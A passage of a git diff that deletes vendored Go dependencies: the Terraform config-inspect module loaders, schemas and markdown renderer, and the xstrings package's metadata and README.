block.Body.PartialContent(resourceSchema) - diags = append(diags, contentDiags...) - - typeName := block.Labels[0] - name := block.Labels[1] - - r := &Resource{ - Type: typeName, - Name: name, - Pos: sourcePosHCL(block.DefRange), - } - - var resourcesMap map[string]*Resource - - switch block.Type { - case "resource": - r.Mode = ManagedResourceMode - resourcesMap = mod.ManagedResources - case "data": - r.Mode = DataResourceMode - resourcesMap = mod.DataResources - } - - key := r.MapKey() - - resourcesMap[key] = r - - if attr, defined := content.Attributes["provider"]; defined { - // New style here is to provide this as a naked traversal - // expression, but we also support quoted references for - // older configurations that predated this convention. - traversal, travDiags := hcl.AbsTraversalForExpr(attr.Expr) - if travDiags.HasErrors() { - traversal = nil // in case we got any partial results - - // Fall back on trying to parse as a string - var travStr string - valDiags := gohcl.DecodeExpression(attr.Expr, nil, &travStr) - if !valDiags.HasErrors() { - var strDiags hcl.Diagnostics - traversal, strDiags = hclsyntax.ParseTraversalAbs([]byte(travStr), "", hcl.Pos{}) - if strDiags.HasErrors() { - traversal = nil - } - } - } - - // If we get out here with a nil traversal then we didn't - // succeed in processing the input. - if len(traversal) > 0 { - providerName := traversal.RootName() - alias := "" - if len(traversal) > 1 { - if getAttr, ok := traversal[1].(hcl.TraverseAttr); ok { - alias = getAttr.Name - } - } - r.Provider = ProviderRef{ - Name: providerName, - Alias: alias, - } - } else { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid provider reference", - Detail: "Provider argument requires a provider name followed by an optional alias, like \"aws.foo\".", - Subject: attr.Expr.Range().Ptr(), - }) - } - } else { - // If provider _isn't_ set then we'll infer it from the - // resource type. - r.Provider = ProviderRef{ - Name: resourceTypeDefaultProviderName(r.Type), - } - } - - case "module": - - content, _, contentDiags := block.Body.PartialContent(moduleCallSchema) - diags = append(diags, contentDiags...) - - name := block.Labels[0] - mc := &ModuleCall{ - Name: block.Labels[0], - Pos: sourcePosHCL(block.DefRange), - } - - // check if this is overriding an existing module - var origSource string - if origMod, exists := mod.ModuleCalls[name]; exists { - origSource = origMod.Source - } - - mod.ModuleCalls[name] = mc - - if attr, defined := content.Attributes["source"]; defined { - var source string - valDiags := gohcl.DecodeExpression(attr.Expr, nil, &source) - diags = append(diags, valDiags...) - mc.Source = source - } - - if mc.Source == "" { - mc.Source = origSource - } - - if attr, defined := content.Attributes["version"]; defined { - var version string - valDiags := gohcl.DecodeExpression(attr.Expr, nil, &version) - diags = append(diags, valDiags...) - mc.Version = version - } - - default: - // Should never happen because our cases above should be - // exhaustive for our schema. - panic(fmt.Errorf("unhandled block type %q", block.Type)) - } - } - } - - return mod, diagnosticsHCL(diags) -} diff --git a/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/load_legacy.go b/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/load_legacy.go deleted file mode 100644 index e33a42353b..0000000000 --- a/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/load_legacy.go +++ /dev/null @@ -1,331 +0,0 @@ -package tfconfig - -import ( - "strings" - - legacyhcl "github.com/hashicorp/hcl" - legacyast "github.com/hashicorp/hcl/hcl/ast" -) - -func loadModuleLegacyHCL(fs FS, dir string) (*Module, Diagnostics) { - // This implementation is intentionally more quick-and-dirty than the - // main loader. In particular, it doesn't bother to keep careful track - // of multiple error messages because we always fall back on returning - // the main parser's error message if our fallback parsing produces - // an error, and thus the errors here are not seen by the end-caller. - mod := newModule(dir) - - primaryPaths, diags := dirFiles(fs, dir) - if diags.HasErrors() { - return mod, diagnosticsHCL(diags) - } - - for _, filename := range primaryPaths { - src, err := fs.ReadFile(filename) - if err != nil { - return mod, diagnosticsErrorf("Error reading %s: %s", filename, err) - } - - hclRoot, err := legacyhcl.Parse(string(src)) - if err != nil { - return mod, diagnosticsErrorf("Error parsing %s: %s", filename, err) - } - - list, ok := hclRoot.Node.(*legacyast.ObjectList) - if !ok { - return mod, diagnosticsErrorf("Error parsing %s: no root object", filename) - } - - for _, item := range list.Filter("terraform").Items { - if len(item.Keys) > 0 { - item = &legacyast.ObjectItem{ - Val: &legacyast.ObjectType{ - List: &legacyast.ObjectList{ - Items: []*legacyast.ObjectItem{item}, - }, - }, - } - } - - type TerraformBlock struct { - RequiredVersion string `hcl:"required_version"` - RequiredProviders interface{} `hcl:"required_providers"` - Fields []string `hcl:",decodedFields"` - } - var block TerraformBlock - err = legacyhcl.DecodeObject(&block, item.Val) - if err != nil { - return nil, diagnosticsErrorf("terraform block: %s", err) - } - - for _, field := range block.Fields { - if field == "RequiredProviders" { - return nil, diagnosticsErrorf("terraform.required_providers must not exist") - } - } - - if block.RequiredVersion != "" { - mod.RequiredCore = append(mod.RequiredCore, block.RequiredVersion) - } - } - - if vars := list.Filter("variable"); len(vars.Items) > 0 { - vars = vars.Children() - type VariableBlock struct { - Type string `hcl:"type"` - Default interface{} - Description string - Fields []string `hcl:",decodedFields"` - } - - for _, item := range vars.Items { - unwrapLegacyHCLObjectKeysFromJSON(item, 1) - - if len(item.Keys) != 1 { - return nil, diagnosticsErrorf("variable block at %s has no label", item.Pos()) - } - - name := item.Keys[0].Token.Value().(string) - - var block VariableBlock - err := legacyhcl.DecodeObject(&block, item.Val) - if err != nil { - return nil, diagnosticsErrorf("invalid variable block at %s: %s", item.Pos(), err) - } - - // Clean up legacy HCL decoding ambiguity by unwrapping list of maps - if ms, ok := block.Default.([]map[string]interface{}); ok { - def := make(map[string]interface{}) - for _, m := range ms { - for k, v := range m { - def[k] = v - } - } - block.Default = def - } - - v := &Variable{ - Name: name, - Type: block.Type, - Description: block.Description, - Default: block.Default, - Required: block.Default == nil, - Pos: sourcePosLegacyHCL(item.Pos(), filename), - } - if _, exists := mod.Variables[name]; exists { - return nil, diagnosticsErrorf("duplicate variable block for %q", name) - } - mod.Variables[name] = v - - } - } - - if outputs := list.Filter("output"); len(outputs.Items) > 0 { - outputs = outputs.Children() - type OutputBlock struct { - Description string - } - - for _, item := range outputs.Items { - unwrapLegacyHCLObjectKeysFromJSON(item, 1) - - if len(item.Keys) != 1 { - return nil, diagnosticsErrorf("output block at %s has no label", item.Pos()) - } - - name := item.Keys[0].Token.Value().(string) - - var block OutputBlock - err := legacyhcl.DecodeObject(&block, item.Val) - if err != nil { - return nil, diagnosticsErrorf("invalid output block at %s: %s", item.Pos(), err) - } - - o := &Output{ - Name: name, - Description: block.Description, - Pos: sourcePosLegacyHCL(item.Pos(), filename), - } - if _, exists := mod.Outputs[name]; exists { - return nil, diagnosticsErrorf("duplicate output block for %q", name) - } - mod.Outputs[name] = o - } - } - - for _, blockType := range []string{"resource", "data"} { - if resources := list.Filter(blockType); len(resources.Items) > 0 { - resources = resources.Children() - type ResourceBlock struct { - Provider string - } - - for _, item := range resources.Items { - unwrapLegacyHCLObjectKeysFromJSON(item, 2) - - if len(item.Keys) != 2 { - return nil, diagnosticsErrorf("resource block at %s has wrong label count", item.Pos()) - } - - typeName := item.Keys[0].Token.Value().(string) - name := item.Keys[1].Token.Value().(string) - var mode ResourceMode - var rMap map[string]*Resource - switch blockType { - case "resource": - mode = ManagedResourceMode - rMap = mod.ManagedResources - case "data": - mode = DataResourceMode - rMap = mod.DataResources - } - - var block ResourceBlock - err := legacyhcl.DecodeObject(&block, item.Val) - if err != nil { - return nil, diagnosticsErrorf("invalid resource block at %s: %s", item.Pos(), err) - } - - var providerName, providerAlias string - if dotPos := strings.IndexByte(block.Provider, '.'); dotPos != -1 { - providerName = block.Provider[:dotPos] - providerAlias = block.Provider[dotPos+1:] - } else { - providerName = block.Provider - } - if providerName == "" { - providerName = resourceTypeDefaultProviderName(typeName) - } - - r := &Resource{ - Mode: mode, - Type: typeName, - Name: name, - Provider: ProviderRef{ - Name: providerName, - Alias: providerAlias, - }, - Pos: sourcePosLegacyHCL(item.Pos(), filename), - } - key := r.MapKey() - if _, exists := rMap[key]; exists { - return nil, diagnosticsErrorf("duplicate resource block for %q", key) - } - rMap[key] = r - } - } - - } - - if moduleCalls := list.Filter("module"); len(moduleCalls.Items) > 0 { - moduleCalls = moduleCalls.Children() - type ModuleBlock struct { - Source string - Version string - } - - for _, item := range moduleCalls.Items { - unwrapLegacyHCLObjectKeysFromJSON(item, 1) - - if len(item.Keys) != 1 { - return nil, diagnosticsErrorf("module block at %s has no label", item.Pos()) - } - - name := item.Keys[0].Token.Value().(string) - - var block ModuleBlock - err := legacyhcl.DecodeObject(&block, item.Val) - if err != nil { - return nil, diagnosticsErrorf("module block at %s: %s", item.Pos(), err) - } - - mc := &ModuleCall{ - Name: name, - Source: block.Source, - Version: block.Version, - Pos: sourcePosLegacyHCL(item.Pos(), filename), - } - // it's possible this module call is from an override file - if origMod, exists := mod.ModuleCalls[name]; exists { - if mc.Source == "" { - mc.Source = origMod.Source - } - } - mod.ModuleCalls[name] = mc - } - } - - if providerConfigs := list.Filter("provider"); len(providerConfigs.Items) > 0 { - providerConfigs = providerConfigs.Children() - type ProviderBlock struct { - Version string - } - - for _, item := range providerConfigs.Items { - unwrapLegacyHCLObjectKeysFromJSON(item, 1) - - if len(item.Keys) != 1 { - return nil, diagnosticsErrorf("provider block at %s has no label", item.Pos()) - } - - name := item.Keys[0].Token.Value().(string) - - var block ProviderBlock - err := legacyhcl.DecodeObject(&block, item.Val) - if err != nil { - return nil, diagnosticsErrorf("invalid provider block at %s: %s", item.Pos(), err) - } - // Even if there wasn't an explicit version required, we still - // need an entry in our map to signal the unversioned dependency. - if _, exists := mod.RequiredProviders[name]; !exists { - mod.RequiredProviders[name] = &ProviderRequirement{} - } - - if block.Version != "" { - mod.RequiredProviders[name].VersionConstraints = append(mod.RequiredProviders[name].VersionConstraints, block.Version) - } - } - } - } - - return mod, nil -} - -// unwrapLegacyHCLObjectKeysFromJSON cleans up an edge case that can occur when -// parsing JSON as input: if we're parsing JSON then directly nested -// items will show up as additional "keys". -// -// For objects that expect a fixed number of keys, this breaks the -// decoding process. This function unwraps the object into what it would've -// looked like if it came directly from HCL by specifying the number of keys -// you expect. -// -// Example: -// -// { "foo": { "baz": {} } } -// -// Will show up with Keys being: []string{"foo", "baz"} -// when we really just want the first two. This function will fix this. -func unwrapLegacyHCLObjectKeysFromJSON(item *legacyast.ObjectItem, depth int) { - if len(item.Keys) > depth && item.Keys[0].Token.JSON { - for len(item.Keys) > depth { - // Pop off the last key - n := len(item.Keys) - key := item.Keys[n-1] - item.Keys[n-1] = nil - item.Keys = item.Keys[:n-1] - - // Wrap our value in a list - item.Val = &legacyast.ObjectType{ - List: &legacyast.ObjectList{ - Items: []*legacyast.ObjectItem{ - { - Keys: []*legacyast.ObjectKey{key}, - Val: item.Val, - }, - }, - }, - } - } - } -} diff --git a/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/markdown.go b/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/markdown.go deleted file mode 100644 index 69e317cf20..0000000000 --- a/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/markdown.go +++ /dev/null @@ -1,105 +0,0 @@ -package tfconfig - -import ( - "encoding/json" - "io" - "strings" - "text/template" -) - -func RenderMarkdown(w io.Writer, module *Module) error { - tmpl := template.New("md") - tmpl.Funcs(template.FuncMap{ - "tt": func(s string) string { - return "`" + s + "`" - }, - "commas": func(s []string) string { - return strings.Join(s, ", ") - }, - "json": func(v interface{}) (string, error) { - j, err := json.Marshal(v) - return string(j), err - }, - "severity": func(s DiagSeverity) string { - switch s { - case DiagError: - return "Error: " - case DiagWarning: - return "Warning: " - default: - return "" - } - }, - }) - template.Must(tmpl.Parse(markdownTemplate)) - return tmpl.Execute(w, module) -} - -const markdownTemplate = ` -# Module {{ tt .Path }} - -{{- if .RequiredCore}} - -Core Version Constraints: -{{- range .RequiredCore }} -* {{ tt . }} -{{- end}}{{end}} - -{{- if .RequiredProviders}} - -Provider Requirements: -{{- range $name, $req := .RequiredProviders }} -* **{{ $name }}{{ if $req.Source }} ({{ $req.Source | tt }}){{ end }}:** {{ if $req.VersionConstraints }}{{ commas $req.VersionConstraints | tt }}{{ else }}(any version){{ end }} -{{- end}}{{end}} - -{{- if .Variables}} - -## Input Variables -{{- range .Variables }} -* {{ tt .Name }}{{ if .Required }} (required){{else}} (default {{ json .Default | tt }}){{end}} -{{- if .Description}}: {{ .Description }}{{ end }} -{{- end}}{{end}} - -{{- if .Outputs}} - -## Output Values -{{- range .Outputs }} -* {{ tt .Name }}{{ if .Description}}: {{ .Description }}{{ end }} -{{- end}}{{end}} - -{{- if .ManagedResources}} - -## Managed Resources -{{- range .ManagedResources }} -* {{ printf "%s.%s" .Type .Name | tt }} from {{ tt .Provider.Name }} -{{- end}}{{end}} - -{{- if .DataResources}} - -## Data Resources -{{- range .DataResources }} -* {{ printf "data.%s.%s" .Type .Name | tt }} from {{ tt .Provider.Name }} -{{- end}}{{end}} - -{{- if .ModuleCalls}} - -## Child Modules -{{- range .ModuleCalls }} -* {{ tt .Name }} from {{ tt .Source }}{{ if .Version }} ({{ tt .Version }}){{ end }} -{{- end}}{{end}} - -{{- if .Diagnostics}} - -## Problems -{{- range .Diagnostics }} - -## {{ severity .Severity }}{{ .Summary }}{{ if .Pos }} - -(at {{ tt .Pos.Filename }} line {{ .Pos.Line }}{{ end }}) -{{ if .Detail }} -{{ .Detail }} -{{- end }} - -{{- end}}{{end}} - -` diff --git a/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/module.go b/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/module.go deleted file mode 100644 index 63027d1841..0000000000 --- a/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/module.go +++ /dev/null @@ -1,35 +0,0 @@ -package tfconfig - -// Module is the top-level type representing a parsed and processed Terraform -// module. -type Module struct { - // Path is the local filesystem directory where the module was loaded from. - Path string `json:"path"` - - Variables map[string]*Variable `json:"variables"` - Outputs map[string]*Output `json:"outputs"` - - RequiredCore []string `json:"required_core,omitempty"` - RequiredProviders map[string]*ProviderRequirement `json:"required_providers"` - - ManagedResources map[string]*Resource `json:"managed_resources"` - DataResources map[string]*Resource `json:"data_resources"` - ModuleCalls map[string]*ModuleCall `json:"module_calls"` - - // Diagnostics records any errors and warnings that were detected during - // loading, primarily for inclusion in serialized forms of the module - // since this slice is also returned as a second argument from LoadModule. - Diagnostics Diagnostics `json:"diagnostics,omitempty"` -} - -func newModule(path string) *Module { - return &Module{ - Path: path, - Variables: make(map[string]*Variable), - Outputs: make(map[string]*Output), - RequiredProviders: make(map[string]*ProviderRequirement), - ManagedResources: make(map[string]*Resource), - DataResources: make(map[string]*Resource), - ModuleCalls: make(map[string]*ModuleCall), - } -} diff --git a/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/module_call.go b/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/module_call.go deleted file mode 100644 index 5e1e05a726..0000000000 --- a/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/module_call.go +++ /dev/null @@ -1,11 +0,0 @@ -package tfconfig - -// ModuleCall represents a "module" block within a module. That is, a -// declaration of a child module from inside its parent. -type ModuleCall struct { - Name string `json:"name"` - Source string `json:"source"` - Version string `json:"version,omitempty"` - - Pos SourcePos `json:"pos"` -} diff --git a/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/output.go b/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/output.go deleted file mode 100644 index 890b25e694..0000000000 --- a/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/output.go +++ /dev/null @@ -1,9 +0,0 @@ -package tfconfig - -// Output represents a single output from a Terraform module. -type Output struct { - Name string `json:"name"` - Description string `json:"description,omitempty"` - - Pos SourcePos `json:"pos"` -} diff --git a/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/provider_ref.go b/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/provider_ref.go deleted file mode 100644 index 157c8c2c15..0000000000 --- a/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/provider_ref.go +++ /dev/null @@ -1,85 +0,0 @@ -package tfconfig - -import ( - "github.com/hashicorp/hcl/v2" - "github.com/hashicorp/hcl/v2/gohcl" - "github.com/zclconf/go-cty/cty/gocty" -) - -// ProviderRef is a reference to a provider configuration within a module. -// It represents the contents of a "provider" argument in a resource, or -// a value in the "providers" map for a module call. -type ProviderRef struct { - Name string `json:"name"` - Alias string `json:"alias,omitempty"` // Empty if the default provider configuration is referenced -} - -type ProviderRequirement struct { - Source string `json:"source,omitempty"` - VersionConstraints []string `json:"version_constraints,omitempty"` -} - -func decodeRequiredProvidersBlock(block *hcl.Block) (map[string]*ProviderRequirement, hcl.Diagnostics) { - attrs, diags := block.Body.JustAttributes() - reqs := make(map[string]*ProviderRequirement) - for name, attr := range attrs { - expr, err := attr.Expr.Value(nil) - if err != nil { - diags = append(diags, err...) - } - - switch { - case expr.Type().IsPrimitiveType(): - var version string - valDiags := gohcl.DecodeExpression(attr.Expr, nil, &version) - diags = append(diags, valDiags...) - if !valDiags.HasErrors() { - reqs[name] = &ProviderRequirement{ - VersionConstraints: []string{version}, - } - } - - case expr.Type().IsObjectType(): - var pr ProviderRequirement - if expr.Type().HasAttribute("version") { - var version string - err := gocty.FromCtyValue(expr.GetAttr("version"), &version) - if err == nil { - pr.VersionConstraints = append(pr.VersionConstraints, version) - } else { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Unsuitable value type", - Detail: "Unsuitable value: string required", - Subject: attr.Expr.Range().Ptr(), - }) - } - } - if expr.Type().HasAttribute("source") { - var source string - err := gocty.FromCtyValue(expr.GetAttr("source"), &source) - if err == nil { - pr.Source = source - } else { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Unsuitable value type", - Detail: "Unsuitable value: string required", - Subject: attr.Expr.Range().Ptr(), - }) - } - } - reqs[name] = &pr - - default: - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Unsuitable value type", - Detail: "Unsuitable value: string required", - Subject: attr.Expr.Range().Ptr(), - }) - } - } - - return reqs, diags -} diff --git a/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/resource.go b/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/resource.go deleted file mode 100644 index 401c8fce97..0000000000 --- a/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/resource.go +++ /dev/null @@ -1,64 +0,0 @@ -package tfconfig - -import ( - "fmt" - "strconv" - "strings" -) - -// Resource represents a single "resource" or "data" block within a module. -type Resource struct { - Mode ResourceMode `json:"mode"` - Type string `json:"type"` - Name string `json:"name"` - - Provider ProviderRef `json:"provider"` - - Pos SourcePos `json:"pos"` -} - -// MapKey returns a string that can be used to uniquely identify the receiver -// in a map[string]*Resource. -func (r *Resource) MapKey() string { - switch r.Mode { - case ManagedResourceMode: - return fmt.Sprintf("%s.%s", r.Type, r.Name) - case DataResourceMode: - return fmt.Sprintf("data.%s.%s", r.Type, r.Name) - default: - // should never happen - return fmt.Sprintf("[invalid_mode!].%s.%s", r.Type, r.Name) - } -} - -// ResourceMode represents the "mode" of a resource, which is used to -// distinguish between managed resources ("resource" blocks in config) and -// data resources ("data" blocks in config). -type ResourceMode rune - -const InvalidResourceMode ResourceMode = 0 -const ManagedResourceMode ResourceMode = 'M' -const DataResourceMode ResourceMode = 'D' - -func (m ResourceMode) String() string { - switch m { - case ManagedResourceMode: - return "managed" - case DataResourceMode: - return "data" - default: - return "" - } -} - -// MarshalJSON implements encoding/json.Marshaler. -func (m ResourceMode) MarshalJSON() ([]byte, error) { - return []byte(strconv.Quote(m.String())), nil -} - -func resourceTypeDefaultProviderName(typeName string) string { - if underPos := strings.IndexByte(typeName, '_'); underPos != -1 { - return typeName[:underPos] - } - return typeName -} diff --git a/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/schema.go b/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/schema.go deleted file mode 100644 index fd6ca9e70d..0000000000 --- a/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/schema.go +++ /dev/null @@ -1,106 +0,0 @@ -package tfconfig - -import ( - "github.com/hashicorp/hcl/v2" -) - -var rootSchema = &hcl.BodySchema{ - Blocks: []hcl.BlockHeaderSchema{ - { - Type: "terraform", - LabelNames: nil, - }, - { - Type: "variable", - LabelNames: []string{"name"}, - }, - { - Type: "output", - LabelNames: []string{"name"}, - }, - { - Type: "provider", - LabelNames: []string{"name"}, - }, - { - Type: "resource", - LabelNames: []string{"type", "name"}, - }, - { - Type: "data", - LabelNames: []string{"type", "name"}, - }, - { - Type: "module", - LabelNames: []string{"name"}, - }, - }, -} - -var terraformBlockSchema = &hcl.BodySchema{ - Attributes: []hcl.AttributeSchema{ - { - Name: "required_version", - }, - }, - Blocks: []hcl.BlockHeaderSchema{ - { - Type: "required_providers", - }, - }, -} - -var providerConfigSchema = &hcl.BodySchema{ - Attributes: []hcl.AttributeSchema{ - { - Name: "version", - }, - { - Name: "alias", - }, - }, -} - -var variableSchema = &hcl.BodySchema{ - Attributes: []hcl.AttributeSchema{ - { - Name: "type", - }, - { - Name: "description", - }, - { - Name: "default", - }, - }, -} - -var outputSchema = &hcl.BodySchema{ - Attributes: []hcl.AttributeSchema{ - { - Name: "description", - }, - }, -} - -var moduleCallSchema = &hcl.BodySchema{ - Attributes: []hcl.AttributeSchema{ - { - Name: "source", - }, - { - Name: "version", - }, - { - Name: "providers", - }, - }, -} - -var resourceSchema = &hcl.BodySchema{ - Attributes: []hcl.AttributeSchema{ - { - Name: "provider", - }, - }, -} diff --git a/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/source_pos.go b/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/source_pos.go deleted file mode 100644 index 548c9f9a39..0000000000 --- a/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/source_pos.go +++ /dev/null @@ -1,50 +0,0 @@ -package tfconfig - -import ( - legacyhcltoken "github.com/hashicorp/hcl/hcl/token" - "github.com/hashicorp/hcl/v2" -) - -// SourcePos is a pointer to a particular location in a source file. -// -// This type is embedded into other structs to allow callers to locate the -// definition of each described module element. The SourcePos of an element -// is usually the first line of its definition, although the definition can -// be a little "fuzzy" with JSON-based config files. -type SourcePos struct { - Filename string `json:"filename"` - Line int `json:"line"` -} - -func sourcePos(filename string, line int) SourcePos { - return SourcePos{ - Filename: filename, - Line: line, - } -} - -func sourcePosHCL(rng hcl.Range) SourcePos { - // We intentionally throw away the column information here because - // current and legacy HCL both disagree on the definition of a column - // and so a line-only reference is the best granularity we can do - // such that the result is consistent between both parsers. - return SourcePos{ - Filename: rng.Filename, - Line: rng.Start.Line, - } -} - -func sourcePosLegacyHCL(pos legacyhcltoken.Pos, filename string) SourcePos { - useFilename := pos.Filename - // We'll try to use the filename given in legacy HCL position, but - // in practice there's no way to actually get this populated via - // the HCL API so it's usually empty except in some specialized - // situations, such as positions in error objects. - if useFilename == "" { - useFilename = filename - } - return SourcePos{ - Filename: useFilename, - Line: pos.Line, - } -} diff --git a/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/variable.go b/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/variable.go deleted file mode 100644 index 48ffb239bf..0000000000 --- a/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/variable.go +++ /dev/null @@ -1,17 +0,0 @@ -package tfconfig - -// Variable represents a single variable from a Terraform module. -type Variable struct { - Name string `json:"name"` - Type string `json:"type,omitempty"` - Description string `json:"description,omitempty"` - - // Default is an approximate representation of the default value in - // the native Go type system. The conversion from the value given in - // configuration may be slightly lossy. Only values that can be - // serialized by json.Marshal will be included here. - Default interface{} `json:"default"` - Required bool `json:"required"` - - Pos SourcePos `json:"pos"` -} diff --git a/vendor/github.com/huandu/xstrings/.gitignore b/vendor/github.com/huandu/xstrings/.gitignore deleted file mode 100644 index daf913b1b3..0000000000 --- a/vendor/github.com/huandu/xstrings/.gitignore +++ /dev/null @@ -1,24 +0,0 @@ -# Compiled Object files, Static and Dynamic libs (Shared Objects) -*.o -*.a -*.so - -# Folders -_obj -_test - -# Architecture specific extensions/prefixes -*.[568vq] -[568vq].out - -*.cgo1.go -*.cgo2.c -_cgo_defun.c -_cgo_gotypes.go -_cgo_export.* - -_testmain.go - -*.exe -*.test -*.prof diff --git a/vendor/github.com/huandu/xstrings/.travis.yml b/vendor/github.com/huandu/xstrings/.travis.yml deleted file mode 100644 index 4f2ee4d973..0000000000 --- a/vendor/github.com/huandu/xstrings/.travis.yml +++ /dev/null @@ -1 +0,0 @@ -language: go diff --git a/vendor/github.com/huandu/xstrings/CONTRIBUTING.md b/vendor/github.com/huandu/xstrings/CONTRIBUTING.md deleted file mode 100644 index d7b4b8d584..0000000000 --- a/vendor/github.com/huandu/xstrings/CONTRIBUTING.md +++ /dev/null @@ -1,23 +0,0 @@ -# Contributing # - -Thanks for your contribution in advance. No matter what you will contribute to this project, pull request or bug report or feature discussion, it's always highly appreciated. - -## New API or feature ## - -I want to speak more about how to add new functions to this package. - -Package `xstring` is a collection of useful string functions which should be implemented in Go. It's a bit subject to say which function should be included and which should not. I set up following rules in order to make it clear and as objective as possible. - -* Rule 1: Only string algorithm, which takes string as input, can be included. -* Rule 2: If a function has been implemented in package `string`, it must not be included. -* Rule 3: If a function is not language neutral, it must not be included. -* Rule 4: If a function is a part of standard library in other languages, it can be included. -* Rule 5: If a function is quite useful in some famous framework or library, it can be included. - -New function must be discussed in project issues before submitting any code. If a pull request with new functions is sent without any ref issue, it will be rejected. - -## Pull request ## - -Pull request is always welcome. Just make sure you have run `go fmt` and all test cases passed before submit. - -If the pull request is to add a new API or feature, don't forget to update README.md and add new API in function list. diff --git a/vendor/github.com/huandu/xstrings/LICENSE b/vendor/github.com/huandu/xstrings/LICENSE deleted file mode 100644 index 2701772593..0000000000 --- a/vendor/github.com/huandu/xstrings/LICENSE +++ /dev/null @@ -1,22 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2015 Huan Du - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. - diff --git a/vendor/github.com/huandu/xstrings/README.md b/vendor/github.com/huandu/xstrings/README.md deleted file mode 100644 index c824a5c3f2..0000000000 --- a/vendor/github.com/huandu/xstrings/README.md +++ /dev/null @@ -1,114 +0,0 @@ -# xstrings # - -[![Build Status](https://travis-ci.org/huandu/xstrings.svg?branch=master)](https://travis-ci.org/huandu/xstrings) -[![GoDoc](https://godoc.org/github.com/huandu/xstrings?status.svg)](https://godoc.org/github.com/huandu/xstrings) - -Go package [xstrings](https://godoc.org/github.com/huandu/xstrings) is a collection of string functions, which are widely used in other languages but absent in Go package [strings](http://golang.org/pkg/strings). - -All functions are well tested and carefully tuned for performance. - -## Propose a new function ## - -Please review [contributing guideline](CONTRIBUTING.md) and [create new issue](https://github.com/huandu/xstrings/issues) to state why it should be included. - -## Install ## - -Use `go get` to install this library. - - go get github.com/huandu/xstrings - -## API document ## - -See [GoDoc](https://godoc.org/github.com/huandu/xstrings) for full document. - -## Function list ## - -Go functions have a unique naming style. One, who has experience in other language but new in Go, may have difficulties to find out right string function to use. - -Here is a list of functions in [strings](http://golang.org/pkg/strings) and [xstrings](https://godoc.org/github.com/huandu/xstrings) with enough extra information about how to map these functions to their friends in other languages. Hope this list could be helpful for fresh gophers. - -### Package `xstrings` functions ### - -*Keep this table sorted by Function in ascending order.* - -| Function | Friends | # | -| -------- | ------- | --- | -| [Center](https://godoc.org/github.com/huandu/xstrings#Center) | `str.center` in Python; `String#center` in Ruby | [#30](https://github.com/huandu/xstrings/issues/30) | -| [Count](https://godoc.org/github.com/huandu/xstrings#Count) | `String#count` in Ruby | [#16](https://github.com/huandu/xstrings/issues/16) | -| [Delete](https://godoc.org/github.com/huandu/xstrings#Delete) | `String#delete` in Ruby | [#17](https://github.com/huandu/xstrings/issues/17) | -| [ExpandTabs](https://godoc.org/github.com/huandu/xstrings#ExpandTabs) | `str.expandtabs` in Python | [#27](https://github.com/huandu/xstrings/issues/27) | -| [FirstRuneToLower](https://godoc.org/github.com/huandu/xstrings#FirstRuneToLower) | `lcfirst` in PHP or Perl | [#15](https://github.com/huandu/xstrings/issues/15) | -| [FirstRuneToUpper](https://godoc.org/github.com/huandu/xstrings#FirstRuneToUpper) | `String#capitalize` in Ruby; `ucfirst` in PHP or Perl | [#15](https://github.com/huandu/xstrings/issues/15) | -| [Insert](https://godoc.org/github.com/huandu/xstrings#Insert) | `String#insert` in Ruby | [#18](https://github.com/huandu/xstrings/issues/18) | -| [LastPartition](https://godoc.org/github.com/huandu/xstrings#LastPartition) | `str.rpartition` in Python; `String#rpartition` in Ruby | [#19](https://github.com/huandu/xstrings/issues/19) | -| [LeftJustify](https://godoc.org/github.com/huandu/xstrings#LeftJustify) | `str.ljust` in Python; `String#ljust` in Ruby | [#28](https://github.com/huandu/xstrings/issues/28) | -| 